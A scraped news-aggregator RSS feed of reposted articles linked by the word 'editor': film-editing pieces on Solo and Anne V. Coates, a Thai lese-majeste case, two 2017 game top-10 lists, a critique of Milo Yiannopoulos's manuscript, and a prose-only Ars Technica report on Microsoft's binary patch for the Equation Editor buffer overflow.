I’m just saying, you can’t go wrong. Everybody loves Chewie. He thought that was funny, too. If you don’t have a cutaway, cut to Chewie.

***

Solo: A Star Wars Story is now in theaters.

The post ‘Solo: A Star Wars Story’ Editor Pietro Scalia on the Train Robbery Sequence and Why Chewie is an Editor’s Dream [Interview] appeared first on /Film.

]]> https://briefnews.eu/solo-a-star-wars-story-editor-pietro-scalia-on-the-train-robbery-sequence-and-why-chewie-is-an-editors-dream-interview/feed/ 0 Anne V. Coates, Legendary Editor of ‘Lawrence of Arabia’ and Many More, Has Died at 92 https://briefnews.eu/anne-v-coates-legendary-editor-of-lawrence-of-arabia-and-many-more-has-died-at-92/ https://briefnews.eu/anne-v-coates-legendary-editor-of-lawrence-of-arabia-and-many-more-has-died-at-92/#respond Wed, 09 May 2018 23:27:43 +0000 http://briefnews.eu/anne-v-coates-legendary-editor-of-lawrence-of-arabia-and-many-more-has-died-at-92/

Anne V. Coates, the editor responsible for the single-greatest match cut in movie history, has died at the age of 92. Coates’ career spanned 60 years, in which she edited scores of films, including Lawrence of Arabia, Out of Sight, and many, many more.

The greatest match cut in the history of film was an accident. It happens early in David Lean‘s masterpiece Lawrence of Arabia. T.E. Lawrence (Peter O’Toole) holds a burning match inches away from his face. His stare lingers on the flame as the match burns down, blackening as the fire gutters out. Before that flame can be fully extinguished, Lawrence blows it out.

And then we’re in the desert.

The sun is a sliver of fire on the horizon, expanding, growing, glowing. The heat practically radiates off the screen. The landscape is as black as the burnt head of that match. And then the soundtrack comes up.

And it almost didn’t happen.

Lawrence of Arabia

“It was in the script as a dissolve, but we saw it cut together before we had the optical delivered,” editor Anne V. Coates recalled many years later. “We looked at the job and said, ‘My, God it worked fantastic!’ We tried taking a frame off here and there. David said to me in the end, ‘That’s nearly perfect. Take it away and make it perfect.’ I literally took two frames off of the outgoing scene and that’s the way it is today.”

Take it away and make it perfect.

And so she did. Somehow. “It wasn’t a momentous thing to us,” Coates said. “It was only when somebody rang me at three o’clock in the morning from Australia to ask me what I was thinking about when I did that cut; I said, ‘I didn’t have any idea.’ Several direct cuts like that were originally my idea because David hadn’t seen the La Nouvelle Vague French direct cutting. I got him to see a couple of films. He loved it and did it even better. We didn’t over do it.”

What is it about this match cut that resonates so damn much? Even if you don’t like Lawrence of Arabia, there’s something about that one specific cut that lingers. It has the power to chill; the power to knock you flat on your back then sit right up and ask, “What was that?” It’s a shift through time; through space. It transports us from where we thought we were to somewhere we’ve never been. It’s magic.

Movie editing is a tricky thing. Some will tell you the very best editing is editing you don’t notice at all. And that’s probably true. But you notice the match cut in Lawrence. How can you not? It burns as bright as that orange ball of fire creeping up above the blackened horizon. It’s in your face, right before your eyes, impossible to ignore.

Anne V. Coates may not be a household name the way filmmakers are. But her impact on film is undeniable. Even if she had done nothing else following Lawrence, that match cut alone would be enough to cement her place in history. And it might not have ever happened had she not found her way into the industry. “In the early Fifties it was extremely difficult to get into films in any capacity,” she said. “You had to be in the union to work in films and you couldn’t get a job in films until you were in the Union! But there were certain back door ways in – via working in the laboratories, working in a small educational company or the way I got in by getting a job as a gofer in religious films – doing projection, sound and helping in the cutting rooms of the library which sent out films to church film societies. And making tea of course!”

And from that humble beginning we now have great things. We have that match cut. And we have this scene from Out of Sight – a dance done while sitting; a series of cuts from wide to close; from long shots to inserts; from what is and what could be.

Out of Sight

“When we did Out of Sight we did a lot of very tricky cutting,” Coates said. “Very interesting, a lot of which stayed in. I said to (director) Steven (Soderbergh) one day, “I think we may have overdone it. It’s so jerky and I don’t think the audience will be able to follow it.” We had him going to three different prisons and all sorts of things that aren’t in the finished film, so we went back in and simplified it all, because when we looked at it we realized that each scene in and of itself was very clever and good and interestingly cut, but all together it became a bit of a mish mash, so we simplified it.”

So we simplified it.

Take it away and make it perfect.

The post Anne V. Coates, Legendary Editor of ‘Lawrence of Arabia’ and Many More, Has Died at 92 appeared first on /Film.

]]> https://briefnews.eu/anne-v-coates-legendary-editor-of-lawrence-of-arabia-and-many-more-has-died-at-92/feed/ 0 ‘Blasphemous act’: Editor faces 15yrs in jail after posting masked image of Thai kings online https://briefnews.eu/blasphemous-act-editor-faces-15yrs-in-jail-after-posting-masked-image-of-thai-kings-online/ https://briefnews.eu/blasphemous-act-editor-faces-15yrs-in-jail-after-posting-masked-image-of-thai-kings-online/#respond Sun, 01 Apr 2018 09:41:04 +0000 http://briefnews.eu/blasphemous-act-editor-faces-15yrs-in-jail-after-posting-masked-image-of-thai-kings-online/

The editor of a magazine in Thailand could face criminal charges after sharing an image of three statues of ancient kings wearing gas masks ahead of an air-pollution protest in the northern city of Chiang Mai.

READ MORE: Thailand cracks down on cryptocurrencies with blanket ban of their use in banking

Pim Kemasingki, a Thai-British national and editor of Citylife magazine, could face up to 15 years in jail if charged and convicted of sharing the offending image on a Facebook page for ‘Right to Breathe,’ an anti-air-pollution rally planned for Friday. The event, which called for local authorities to provide official air-quality information and adhere to World Health Organization standards, has now been canceled.  

Now, Chiang Mai Governor Pawin Chamniprasart has filed an official complaint with police on the grounds that the image was “blasphemous” and may have violated Thailand’s Computer Crime Act. “The statues of three kings are very sacred and respected by Chiang Mai residents, they were our ancestors,” Chamniprasart told AFP on Saturday.

The monarchy are worshipped as demigods in Thailand and their status is protected by broad blasphemy laws. The crime, known as ‘lese majeste,’ carries a maximum sentence of 15 years in prison. However, offences under the Computer Crime Act are punishable by sentences of up to five years.

“I shared this picture thinking it was pertinent and powerful,” Kemasingki told Reuters. “For decades I’ve been promoting the city and loving it… so it’s quite unsettling that fighting for healthy air for my fellow citizens has turned into me besmirching the city.”

Chiang Mai is the largest city in northern Thailand. Air pollution there peaks every year towards the end of the dry season, between February and April, when forested areas are burned to clear land for new crops.

READ MORE: Thai PM evades press with cardboard cut-out of himself (VIDEO)

Environmental groups have appealed to Thai officials to tackle the pollution problem in its biggest cities during recent times. In February, Greenpeace called on Prime Minister Prayuth Chan-ocha to reduce emissions in the capital Bangkok after the organization said the city had experienced its worst-ever period for air pollution in the first months of this year.

The Pollution Control Department warned that the level of particulate matter smaller than 2.5 micrometers, or PM2.5 dust, in the city had hit unhealthy levels. PM2.5 dust is considered the most dangerous kind, as it includes pollutants such as nitrates that can penetrate the cardiovascular system.

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]]> https://briefnews.eu/blasphemous-act-editor-faces-15yrs-in-jail-after-posting-masked-image-of-thai-kings-online/feed/ 0 ‘It looks to us as though there is a developing country within Canada’s borders,’ Lancet editor says https://briefnews.eu/it-looks-to-us-as-though-there-is-a-developing-country-within-canadas-borders-lancet-editor-says/ https://briefnews.eu/it-looks-to-us-as-though-there-is-a-developing-country-within-canadas-borders-lancet-editor-says/#respond Fri, 23 Feb 2018 15:29:15 +0000 http://briefnews.eu/it-looks-to-us-as-though-there-is-a-developing-country-within-canadas-borders-lancet-editor-says/ doctor writing prescriptions

Canada’s appalling record on Indigenous health is undermining its efforts to be a global health leader.

]]> https://briefnews.eu/it-looks-to-us-as-though-there-is-a-developing-country-within-canadas-borders-lancet-editor-says/feed/ 0 GamesBeat PC gaming editor Jeff Grubb’s top 10 games of 2017 https://briefnews.eu/gamesbeat-pc-gaming-editor-jeff-grubbs-top-10-games-of-2017/ https://briefnews.eu/gamesbeat-pc-gaming-editor-jeff-grubbs-top-10-games-of-2017/#respond Fri, 29 Dec 2017 00:39:58 +0000 http://briefnews.eu/gamesbeat-pc-gaming-editor-jeff-grubbs-top-10-games-of-2017/

This has been such a spectacular year for games, and that affected me in an unintuitive way. As I was putting together this list, I wasn’t sure if I would have 10 games to fill it out with. Now, to be clear, I’ve liked way more than 10 games this year, but I just wasn’t sure if I loved them all enough to enshrine them below.

A big reason for my initial shortage is because I’m letting myself bounce off games quicker these days. Even stuff that I enjoy, like Horizon: Zero Dawn or Divinity: Original Sin 2, aren’t doing quite enough to keep me coming back. So while I like a lot of those, I don’t want them in my top 10 since I’ve only played through their first 5-to-10 hours or so.

I know why I’m not sticking to these games, and it comes down to two huge changes in my life. First, the Switch has freed me up to play games in ways that better suit how I live. That doesn’t mean I need every game on Nintendo’s handheld, but if you’re only on the PC or a TV … well, that brings me to the second change. I’ve played some of my all-time favorite games this year. If I get time to sit down and play some new game, it better win me over quickly or else next time, I’m probably just gonna go back to PUBG.

All that said, I was able to fill out my top 10, and now — of course — I’m in a situation where I’m leaving one or two off that I feel sore about. Oh, well. Not going to complain about too many good games.

10. Getting Over It With Bennett Foddy

Developers:  Bennett Foddy
Publisher: Bennett Foddy
Platform: PC

This game was made for me. It’s deliberately cruel and impenetrable in terms of its gameplay, and then developer Bennett Foddy pairs that with a voiceover track where he talks about our modern trash culture.

It’s a game where you have to get a man wielding a giant hammer to the top of a mountain only by swinging said hammer. What won me over with Getting Over It is that, no matter how much progress you make, you could fall all the way back down to the base of the mountain if you screw up badly enough. I know that seems unnecessarily punishing, but I appreciate that someone is still making games that want to cause me a bit of pain that aren’t called “Dark Souls.”

9. Shovel Knight: Specter of Torment

Developer: Yacht Club Games
Publisher: Might and Delight
Platform: PlayStation 4, Xbox One, Switch, Wii U, PlayStation 4, Xbox 360, 3DS, Vita, and PC

Specter of Torment is another Yacht Club Games throwback to the Nintendo Entertainment System. It takes some of the character and stage elements from Shovel Knight and remixes and builds on them to create one of the most refreshing platformers in years.

Yacht Club is so successful because it is playing around with stranger mechanics now that it is three games in the Shovel Knight universe. Specter Knight doesn’t have a double-jump or bouncing attack. Instead, he can jump through enemies as he attacks them. His moveset combines combat and platforming into a single elegant ballet.

8. Heat Signature

Developer: Suspicious Developments
Publisher: Suspicious Developments
Platform: PC

Heat Signature is a space-heist game with simple visuals and lots of freedom to pursue challenges however you want. You control a character who must covertly rendezvous with other ships to rescue people, or steal loot, or assassinate someone. You get a bunch of tools, like local teleporters, to help you accomplish this, which are all cool and open up how you can approach a mission.

But I adore Heat Signature because of a mission where I went in guns blazing, got knocked out, and then ejected into the vacuum of space. My spacesuit had enough oxygen to protect me for about 100 seconds. That gave me just enough time to remote control my ship to come pick me up. I should’ve just retreated, but I was determined. I turned my ship back for the escaping craft, re-entered quietly this time, and killed everyone before steal their shuttle as my prize.

Heat Signature is very good.

7. Mario + Rabbids: Kingdom Battle

Developer: Ubisoft
Publisher: Ubisoft
Platform: Switch

Mario + Rabbids has some problems. I don’t like the overworld or the puzzles between missions, but the tactical battles — the meat of the experience — make up for everything I dislike.

To put it simply, this is XCOM with Mario and Ubisoft’s weird precursors to the Minions. But Ubisoft’s designers really went wild loading up your characters with a ton of abilities. This means you can do really elaborate, powerful attacks. And the game keeps things fresh by introducing new enemies that challenge you to change your style.

6. Cuphead

Developer: StudioMDHR
Publisher: Microsoft
Platform: PC, Xbox One

Cuphead is beautiful and a technical marvel, but it is also just a really great, challenging run-‘n’-gun-style platformer. I had fun spending time learning and perfecting my tactics for each boss before moving on. I even have it in my head that I’ll go back to get a perfect grade on every boss … but I’m not sure that’ll ever really happen.

5. Wolfenstein 2: The New Colossus

Developer: Machine Games
Publisher: Bethesda Softworks
Platform: PC, PlayStation 4, Xbox One

Wolfenstein II is special. In my opinion, it has the best characters and the best writing in any game ever made. It isn’t subtle about its political message, which is not “Nazis are bad.” That is an understood truth in a Wolfenstein game. Instead, Machine Games uses its game to say that actually even the people who live under Nazi oppression but don’t mind so much because they can still live comfortably are just as bad.

At the same time, Wolfenstein II deftly pulls off a pulpy sci-fi story with bonkers twists and memorable moments. It is one of my favorite pieces of fiction right now, and I hope Machine Games gets the chance to close out its trilogy.

4. SteamWorld Dig 2

Developer: Image & Form Games
Publisher: Image & Form Games
Platform: PC, Switch, PlayStation 4

All I really want from a game is a tight, satisfying gameplay loop, and SteamWorld Dig 2 might have the best loop this year. This is a Metroid-style game where you can dig tunnels underground. As you explore these caverns, you’ll collect jewels and other valuables until you can’t carry anything else. This encourages you to go back to the surface to cash in your earnings, and to buy new upgrades and tools to help you explore even deeper the next time you descend. It’s really well done.

That loop works especially well because Image & Form has built a beautiful 2D world with a lot of variety. The map also always makes you feel like you are just a few more meters away from finding your next big character upgrade.

SteamWorld Dig 2 is so effortless in its execution of its elements that it almost makes me wonder why every game isn’t this wonderful.

3. PlayerUnknown’s Battlegrounds

Developer: The PUBG Corporation
Publisher: The PUBG Corporation
Platform: PC, Xbox One

Here’s a new game that only just came out last week … of course, I played 400 hours of it before that point while it was still in Early Access.

As I said in my review-in-progress, PUBG is a seminal shooter. It represents a shift in this massive genre equivalent to Call of Duty usurping Halo in 2007. It does this by introducing a game type (100 people drop on an island — kill everyone until you are the last-person standing) that is simple enough for anyone to immediately understand. It then has a dedication to realism that really makes the struggle to win feel like a truly dramatic undertaking.

But PUBG isn’t just amazing in its setup or that exhilaration of winning. It’s the moments between where anything can happen that keeps me coming back months after I started playing back in April. And sure, a lot of those emergent moments were due to janky physics or busted systems (cars exploding after tapping a fence or buildings not rendering for you so you can see through walls for your team). But just as often it is about coming up with stupid plans that actually kind of work.

2. Super Mario Odyssey

Developer: Nintendo
Publisher: Nintendo
Platform: Switch

Mario is the game I’ve probably spent the most time playing this year relative to the amount of time I’ve written or made videos about it, so I’m glad to finally have a reason to take the time to explain why it is so great.

Super Mario Odyssey is the culmination of Nintendo spending the last several decades thinking about how to make better games. The best example of that is how no matter where you stand in one of Odyssey’s many levels, you can almost always see three to four interesting things that you’ll want to explore. It also spreads its moons (the collectible this time around) across a spectrum of difficulties.

Sometimes you’ll find a moon just because you got on top of a building, and other times you’ll get one for completing a challenging platforming section. In some instances, you have to figure out adventure-like puzzles to unlock a moon, and sometimes you just have to go buy the right outfit form the clothing store. You’re always collection moons no matter what you’re doing, and this gives this relatively open-world sandboxy platformer a tightly designed sense of pace because you can approach each kingdom however you want. If you decides to do something, chances are the game will reward you for that.

It also doesn’t hurt that the game has the tightest controls of any platformer ever and a complex, weighty physics system.

1. The Legend of Zelda: Breath of the Wild

Developer: Nintendo
Publisher: Nintendo
Platform: Switch

I’m going to try to distill my love for Breath of the Wild for you here, but you can also just read my review, which I stand by.

The Legend of Zelda: Breath of the Wild has a massive open-world that enables you to go anywhere, but that’s not what makes it interesting. It’s that just over every hill, you are about to find something of interesting or noteworthy. It’s like if Nintendo spent years adding meaning and things to do to a procedurally generated Minecraft map.

But while the map is amazing, it’s the systems that power this world that blew me away. The reason I fell in love with Breath of the Wild is because it has taken a crucial piece of Zelda design — the discovery — and made it cutting edge. What I originally loved about older Zelda games was figuring out how to solve a puzzle or defeat a boss. But in those games, the developers would lay out a single correct solution. In Breath of the Wild, the development team built a series of systems and then built puzzles, bosses, and enemies to let you experiment. It’s still Zelda, but Nintendo has updated it from digital to analogue.

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]]> https://briefnews.eu/gamesbeat-pc-gaming-editor-jeff-grubbs-top-10-games-of-2017/feed/ 0 ‘A mess of low-context writing’: Milo Yiannopoulos’ former book editor ripped his manuscript to shreds https://briefnews.eu/a-mess-of-low-context-writing-milo-yiannopoulos-former-book-editor-ripped-his-manuscript-to-shreds/ https://briefnews.eu/a-mess-of-low-context-writing-milo-yiannopoulos-former-book-editor-ripped-his-manuscript-to-shreds/#respond Thu, 28 Dec 2017 19:40:44 +0000 http://briefnews.eu/a-mess-of-low-context-writing-milo-yiannopoulos-former-book-editor-ripped-his-manuscript-to-shreds/ Milo YiannopoulosMichael Masters/Getty Images

  • Milo Yiannopoulos’ former editor ripped the initial manuscript he submitted to Simon & Schuster.
  • The editor took issue with Yiannopoulos’ sense of humor, logic, and writing style. 

Right-wing provocateur Milo Yiannopoulos’ book deal fell through after a tape revealed that he appeared to endorse sexual relationships with teenagers. 

But according to a manuscript revealed as part of Yiannopoulos’ $ 10 million lawsuit against Simon & Schuster, editors had “substantial concerns” with the book’s tone and message to begin with.

Simon & Schuster editor Mitchell Ivers, who has edited books by conservative figures including President Donald Trump and Fox News’ Tucker Carlson, criticized Yiannopoulos’ writing at length, pointing out logical fallacies in arguments, and saying that Yiannopoulos’ “ego gets in the way of authority” in certain passages.

“You can’t cite ONLY the one study that proves your point,” Ivers noted. “You have to offer it as a counter to the studies that DISPROVE your point.”

Ivers took issue with how Yiannopoulos covered subjects he was supposed to have some authority on.

He described Yiannopoulos’ section on the Gamergate controversy as “a mess of low-context writing, in which you assume the reader shares your previous knowledge and point-of-view, and muddled thinking,” and summed up Yiannopoulos’ chapter called “Why Ugly People Hate Me” as “terrible.”

Moreover, Ivers seemed to find Yiannopoulos to be an un-humorous subject, urging the former Breitbart News blogger to cut jokes that Ivers repeatedly said were not funny, and telling him not to make cruel analogies like comparing liberals to school shooters.

“Three unfunny jokes in a row. DELETE,” Ivers said after Yiannopoulos joked about putting a warning label on a Bikini Kill record that Yiannopoulos referred to as “Bikini Kills.”

And a pretty good summary of the book I imagine. pic.twitter.com/2kPESxAlA9

Yiannopoulos has undoubtedly had a difficult year.

Yiannopoulos was forced out of Breitbart News following his comments about pedophilia, and was forced to cancel a major event he planned at the University of California-Berkeley. 

BuzzFeed News later published embarrassing leaked emails that exposed Yiannopoulos’s deep ties to white supremacists. Just weeks later, hedge-fund billionaire Robert Mercer, a major former Yiannopoulos backer, acknowledged the right-wing provocateur has “caused pain and divisiveness undermining … open and productive discourse.”

NOW WATCH: Here are the 12 best Trump memes of 2017

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]]> https://briefnews.eu/a-mess-of-low-context-writing-milo-yiannopoulos-former-book-editor-ripped-his-manuscript-to-shreds/feed/ 0 GamesBeat reviews editor Mike Minotti’s 10 top of 2017 https://briefnews.eu/gamesbeat-reviews-editor-mike-minottis-10-top-of-2017/ https://briefnews.eu/gamesbeat-reviews-editor-mike-minottis-10-top-of-2017/#respond Thu, 28 Dec 2017 13:43:26 +0000 http://briefnews.eu/gamesbeat-reviews-editor-mike-minottis-10-top-of-2017/

FEATURE:

When it comes to the number of great games released, this has been one of the best years ever. I had the easiest time of my professional writing career coming up with 10 games worthy of my list (even if it took a bit more time figuring out which ones wouldn’t make the cut).

2017 saw some dormant and decaying franchises like Sonic and Metroid make triumphant returns. We got great original games like Horizon: Zero Dawn and Nier: Automata. And some of gaming’s oldest franchises released their strongest entries ever.

10. Gravity Rush 2

Above: Quite a rush.

Image Credit: Sony

Developers:  SIE Japan Studio, Project Siren
Publisher: Sony Interactive Entertainment
Platform: PlayStation 4

The first Gravity Rush wowed me with its beautiful, cel-shaded world that felt like a mix of steampunk London with Tokyo. And it managed to look gorgeous on the Vita. Gravity Rush 2 took the series to the PlayStation 4, and its incredible world looks even more vibrant.

But gravity is what makes the game so special. You float in the air and orient gravity in any direction you’re looking, making it possible to fly or run up the sides of buildings. Gravity Rush 2’s worlds are made of floating land masses that encourage exploration and vertical traversal. It’s one of the most unique open-world games ever made.

9. Shovel Knight: Specter of Torment

Above: What a horrible night to have a curse.

Image Credit: Yacht Club Games

Developer: Yacht Club Games
Publisher: Might and Delight
Platform: PlayStation 4, Xbox One, Switch, Wii U, PlayStation 4, Xbox 360, 3DS, Vita, and PC

Specter of Torment is downloadable content for a 2014 game, but I don’t care. It adds a new campaign to Shovel Knight, with reimagined levels, new bosses, and a character with a special move-set. And it’s incredible.

Like the original Shovel Knight, Specter of Torment is the rare retro-inspired game that’s as good as the classics.

8. Uncharted: The Lost Legacy

Above: Chloe flies with the grappling hook in Uncharted: The Lost Legacy.

Image Credit: Naughty Dog/Sony

Developer: Naughty Dog
Publisher: Sony Interactive Entertainment
Platform: PlayStation 4

I was expecting The Lost Legacy to feel like a short add-on for Uncharted 4, but this standalone experience was able to surpass my expectations. As you’d expect from Naughty Dog, the world looks realistic and gorgeous, and the animations are lifelike and seamless.

But The Lost Legacy also brings some new ideas to the franchise. Chloe makes for an interesting choice for the hero instead of the series’ regular Nathan Drake, and the more open level design is the real star. While I usually associate Uncharted with linearity, I had a blast driving my jeep around a larger setting and searching for hidden treasure.

7. Metroid: Samus Returns

Above: Metroid: Samus Returns was like coming home.

Image Credit: YouTube

Developer: MercurySteam, Nintendo EPD
Publisher: Nintendo
Platform: 3DS

I love Metroid, and the series’ hiatus has been a big bummer for me for years. I wanted Samus Returns to make the franchise relevant again, and it did so. It captures the feel of 2D classics like Super Metroid while introducing new mechanics, such as free-aiming and a counter system, that gives it a sense of gameplay evolution.

Even though it’s a remake of a Game Boy game, Samus Returns does not feel old. And its use of 3D character models and backgrounds provide for some surprisingly cinematic moments.

6. Nier: Automata

Above: Nier: Automata was weird and wonderful.

Image Credit: Square Enix

Developer: Platinum Games
Publisher: Square Enix
Platform: PlayStation 4, PC

Nier: Automata is the game that came out of nowhere. I didn’t play the first Nier. I don’t think I even considered playing the first Nier. But the buzz for Automata roped me in, and the pedigree of Platinum Games when it comes to action is so high, that I decided to try it.

Surprisingly, it’s not the combat that makes Automata so memorable. Instead, its tortured world, bizarre characters, and quirky twists ensared me. It’s both wonderfully weird and beautifully melancholy.

5. Horizon: Zero Dawn

Above: Aloy lives in a beautiful open world in Horizon: Zero Dawn.

Image Credit: Sony

Developer: Guerrilla Games
Publisher: Sony Interactive Entertainment
Platform: PlayStation 4, PC

Horizon: Zero Dawn borrows a lot of ideas from other series, like Far Cry and Tomb Raider. But it makes those elements more interesting by putting them in a more creative world. In Horizon, dinosaur-like robots creep through the woods and tower above the trees. And you can hunt them.

It’s one of the most beautiful games you can play on a console, and Aloy stands out as one of gaming’s best new heroes in some time.

4. Sonic Mania

Above: These new levels are pretty.

Image Credit: GamesBeat

Developer: PagodaWest Games, Headcannon
Publisher: Sega
Platform: PlayStation 4, Xbox One, Switch, PC

Sonic has had some rough decades, so it may not sound like much of compliment when I say that Sonic Mania is the franchise’s best game in years. But this new 2D side-scroller manages to be as much fun as the series’ best entries on the old Genesis console.

It’s also filled with surprises and callbacks that will delight Sonic fans like me. And having Tails and Knuckles as playable characters makes it a fun game to go through multiple times.

3. Persona 5

Above: Get em!

Image Credit: Atlus

Developer: Atlus
Publisher: Atlus
Platform: PlayStation 4, PlayStation 3

I’ve waited a long time for Persona 5, and it did not disappoint. Like with Persona 3 and Persona 4, it mixes Japanese role-playing and dungeon-crawling with a life sim that has you going to school, making friends, and pursuing hobbies.

Persona 5 improved upon its predecessors by focusing on more intricate dungeons instead of the random mazes that the series had relied on before. It also has the best menus in any RPG ever.

2. The Legend of Zelda: Breath of the Wild

Above: The Legend of Zelda: Breath of the Wild is a stunner.

Developer: Nintendo EPD
Publisher: Nintendo
Platform: Switch

The Legend of Zelda series had become predictable, so I love how Breath of the Wild reimagines the franchise. If you told before that Nintendo would make a new Zelda game without traditional dungeons, I probably wouldn’t have screamed heresy.

But Breath of the Wild’s lack of reverence for its past makes it special. More than anything, it’s about exploring, and it giant world is filled with secrets that encourage you search every mountain, cave, and island.

1. Super Mario Odyssey

Above: You have to admit, Bowser looks good.

Image Credit: GamesBeat

Developer: Nintendo EPD
Publisher: Nintendo
Platform: Switch

Mario is gaming’s biggest icon, and he’s starred in some of the most important games in the industry’s history. But Super Mario Odyssey is more fun than any of them. Each world is unique and teeming with possibilities for exploration and adventure.

And the capture mechanic helped introduce a ton of gameplay by variety. But throwing his hat on certain objects and creatures, Mario turns into them. So you can become a fish that can swim faster underwater, a Goomba that won’t slip on ice, a giant dinosaur that smashes everything around him, or even just a rock that’s blocking the entrance to a cave. Super Mario Odyssey doesn’t know the meaning of the word dull.

The PC Gaming channel is presented by Intel®‘s Game Dev program.

VentureBeat

]]> https://briefnews.eu/gamesbeat-reviews-editor-mike-minottis-10-top-of-2017/feed/ 0 Microsoft abandons typical Patch Tuesday playbook to fix Equation Editor flaw https://briefnews.eu/microsoft-abandons-typical-patch-tuesday-playbook-to-fix-equation-editor-flaw/ https://briefnews.eu/microsoft-abandons-typical-patch-tuesday-playbook-to-fix-equation-editor-flaw/#respond Fri, 17 Nov 2017 23:39:20 +0000 http://briefnews.eu/microsoft-abandons-typical-patch-tuesday-playbook-to-fix-equation-editor-flaw/

Enlarge (credit: Flickr user: Ivan T)

When a company like Microsoft needs to fix a security flaw in one of its products, the process is normally straightforward: determine where the bug lies, change the program’s source code to fix the bug, and then recompile the program. But it looks like the company had to step outside this typical process for one of the flaws it patched this Tuesday. Instead of fixing the source code, it appears that the company’s developers made a series of careful changes directly to the buggy program’s executable file.

Bug CVE-2017-11882 is a buffer overflow in the ancient Equation Editor that comes with Office. The Equation Editor allocates a fixed-size piece of memory to hold a font name and then copies the font name from the equation file into this piece of memory. It doesn’t, however, check to ensure that the font name will fit into this piece of memory. When provided with a font name that’s too long, the Equation Editor overflows the buffer, corrupting its own memory, and an attacker can use this to execute arbitrary malicious code.

Curious how a buffer overflow works? Previously on Ars we did a deep-dive explanation. (video link)

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Ars Technica

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